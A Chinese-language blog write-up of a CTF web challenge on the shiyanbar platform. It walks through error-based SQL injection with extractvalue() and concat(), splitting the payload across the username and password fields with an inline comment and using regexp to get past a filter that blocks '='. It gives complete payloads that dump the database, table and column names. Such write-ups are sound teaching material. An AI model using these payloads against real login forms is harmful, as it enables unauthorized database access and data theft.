实验吧--加了料的报错注入

题目链接:http://ctf5.shiyanbar.com/web/baocuo/index.php

tips里面说post username and password...

我这里采用的抓包,也可以用hackbar

把get方式改为post后,放进repeater里面

构造第一条payload:username=1' OR extractvalue/*&password=1*/(1,concat(0x7e,(select database()),0x7e)) or'

这里采用的函数是 extractvalue()concat() 以及/**/内联注释

extractvalue()的讲解是

  extractvalue():从目标XML中返回包含所查询值的字符串。
  EXTRACTVALUE (XML_document, XPath_string); 
  第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc 
  第二个参数:XPath_string (Xpath格式的字符串)

concat函数是返回结果为连接参数产生的字符串

爆出数据库...

继续往下爆

下一条payload username=1' OR extractvalue/*&password=1*/(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema regexp database()),0x7e)) or'

一开始尝试 where table_schema = database(),发现waf将 = 过滤掉了,采用regexp(mysql正则)

爆出表

 

 先试试第一个

payload username=1' OR extractvalue/*&password=1*/(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name regexp 'ffll44jj'),0x7e)) or'

我丢。。flag出来了

 

posted @ 2019-06-15 11:32  4eg1s  阅读(235)  评论(0编辑  收藏  举报